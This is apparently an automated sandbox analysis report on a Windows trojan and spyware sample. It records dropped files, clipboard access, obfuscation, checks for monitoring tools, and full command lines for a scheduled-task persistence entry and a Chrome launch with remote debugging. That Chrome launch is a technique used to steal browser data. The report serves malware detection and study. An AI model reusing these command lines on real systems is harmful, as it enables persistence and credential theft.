Source: chrome.exe, 00000005.00000003.2010363332.00001A3002DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2033627016.00001A3002DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028860925.00001A300240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017352816.00001A3002DF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000005.00000002.2028410290.00001A300237C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.coP
Source: chrome.exe, 00000005.00000002.2030707095.00001A3002858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2035764761.00001A3002F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030814371.00001A30028A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2035764761.00001A3002F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030745390.00001A3002884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2032902929.00001A3002D7C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C6C9D11
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C6C9D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 9_2_6C6C9E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: FMuiLqyqaT.exe Static PE information: section name:
Source: FMuiLqyqaT.exe Static PE information: section name: .idata
Source: FMuiLqyqaT.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D751B0 9_2_00D751B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D73E20 9_2_00D73E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F2CCE 9_2_6C6F2CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6BCD00 9_2_6C6BCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6BEE50 9_2_6C6BEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C0FC0 9_2_6C6C0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C700AC0 9_2_6C700AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C44F0 9_2_6C6C44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F46E0 9_2_6C6F46E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E87C0 9_2_6C6E87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F07D0 9_2_6C6F07D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C700060 9_2_6C700060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F2090 9_2_6C6F2090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D2210 9_2_6C6D2210
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E2360 9_2_6C6E2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70DC70 9_2_6C70DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C783D00 9_2_6C783D00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E98F0 9_2_6C6E98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C5880 9_2_6C6C5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F7A20 9_2_6C6F7A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6FDBEE 9_2_6C6FDBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F140E 9_2_6C6F140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C701510 9_2_6C701510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6FF610 9_2_6C6FF610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6DF760 9_2_6C6DF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6B3000 9_2_6C6B3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C70C0 9_2_6C6C70C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C775180 9_2_6C775180
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C783820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C785A70 appears 75 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C7836E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C783B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C77ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C783560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C785980 appears 83 times
One or more processes crash
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6872 -s 1208
Uses 32bit PE files
Source: FMuiLqyqaT.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: FMuiLqyqaT.exe Static PE information: Section: xzhewxha ZLIB complexity 0.9942303542488726
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@22/7@16/5
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File created: C:\Users\user\AppData\Local\uABDlLMkuJ Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6872
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\woUNydxtUFQatgBImlJF
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: FMuiLqyqaT.exe Virustotal: Detection: 51%
Source: FMuiLqyqaT.exe ReversingLabs: Detection: 55%
Source: FMuiLqyqaT.exe String found in binary or memory: U%'/aDDK
Source: unknown Process created: C:\Users\user\Desktop\FMuiLqyqaT.exe "C:\Users\user\Desktop\FMuiLqyqaT.exe"
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,15170287205610031603,8856601979237756071,262144 /prefetch:8
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6872 -s 1208
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,15170287205610031603,8856601979237756071,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: FMuiLqyqaT.exe Static file information: File size 4466688 > 1048576
Source: FMuiLqyqaT.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x283400
Source: FMuiLqyqaT.exe Static PE information: Raw size of xzhewxha is bigger than: 0x100000 < 0x1bb800
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D78230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00D78230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: FMuiLqyqaT.exe Static PE information: real checksum: 0x446221 should be: 0x4435b0
PE file contains sections with non-standard names
Source: FMuiLqyqaT.exe Static PE information: section name:
Source: FMuiLqyqaT.exe Static PE information: section name: .idata
Source: FMuiLqyqaT.exe Static PE information: section name:
Source: FMuiLqyqaT.exe Static PE information: section name: xzhewxha
Source: FMuiLqyqaT.exe Static PE information: section name: bugjaqif
Source: FMuiLqyqaT.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: ELLRGATenShKoyKeRtXA.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D7A499 push es; iretd 9_2_00D7A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C760C30 push eax; mov dword ptr [esp], edi 9_2_6C760DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C72ED10 push eax; mov dword ptr [esp], ebx 9_2_6C72EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F8E7A push edx; mov dword ptr [esp], ebx 9_2_6C6F8E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C704E31 push eax; mov dword ptr [esp], ebx 9_2_6C704E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6FA947 push eax; mov dword ptr [esp], ebx 9_2_6C6FA95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C72EAB0 push eax; mov dword ptr [esp], ebx 9_2_6C72EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C718AA0 push eax; mov dword ptr [esp], ebx 9_2_6C71909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C700AA2 push eax; mov dword ptr [esp], ebx 9_2_6C700AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C702AAC push edx; mov dword ptr [esp], ebx 9_2_6C702AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C732BF0 push eax; mov dword ptr [esp], ebx 9_2_6C732F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C732BF0 push edx; mov dword ptr [esp], ebx 9_2_6C732F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C718460 push eax; mov dword ptr [esp], ebx 9_2_6C718A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F8435 push edx; mov dword ptr [esp], ebx 9_2_6C6F8449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F04E0 push eax; mov dword ptr [esp], ebx 9_2_6C6F06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F048B push eax; mov dword ptr [esp], ebx 9_2_6C6F04A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D1CFA push eax; mov dword ptr [esp], ebx 9_2_6C786622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D1CFA push eax; mov dword ptr [esp], ebx 9_2_6C786622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6FA5A7 push eax; mov dword ptr [esp], ebx 9_2_6C6FA5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C732620 push eax; mov dword ptr [esp], ebx 9_2_6C732954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C732620 push edx; mov dword ptr [esp], ebx 9_2_6C732973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F06FD push eax; mov dword ptr [esp], ebx 9_2_6C6F06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F66F3 push edx; mov dword ptr [esp], ebx 9_2_6C6F6707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7406B0 push eax; mov dword ptr [esp], ebx 9_2_6C740A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F06A6 push eax; mov dword ptr [esp], ebx 9_2_6C6F06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F06A2 push eax; mov dword ptr [esp], ebx 9_2_6C6F06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7086A1 push 890005EAh; ret 9_2_6C7086A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6FA777 push eax; mov dword ptr [esp], ebx 9_2_6C6FA78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F070E push eax; mov dword ptr [esp], ebx 9_2_6C6F06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C700042 push eax; mov dword ptr [esp], ebx 9_2_6C700056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6CE0D0 push eax; mov dword ptr [esp], ebx 9_2_6C786AF6
Source: FMuiLqyqaT.exe Static PE information: section name: xzhewxha entropy: 7.955414306229756
Drops PE files
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File created: C:\Users\user\AppData\Local\Temp\ELLRGATenShKoyKeRtXA.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Window searched: window name: Regmonclass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
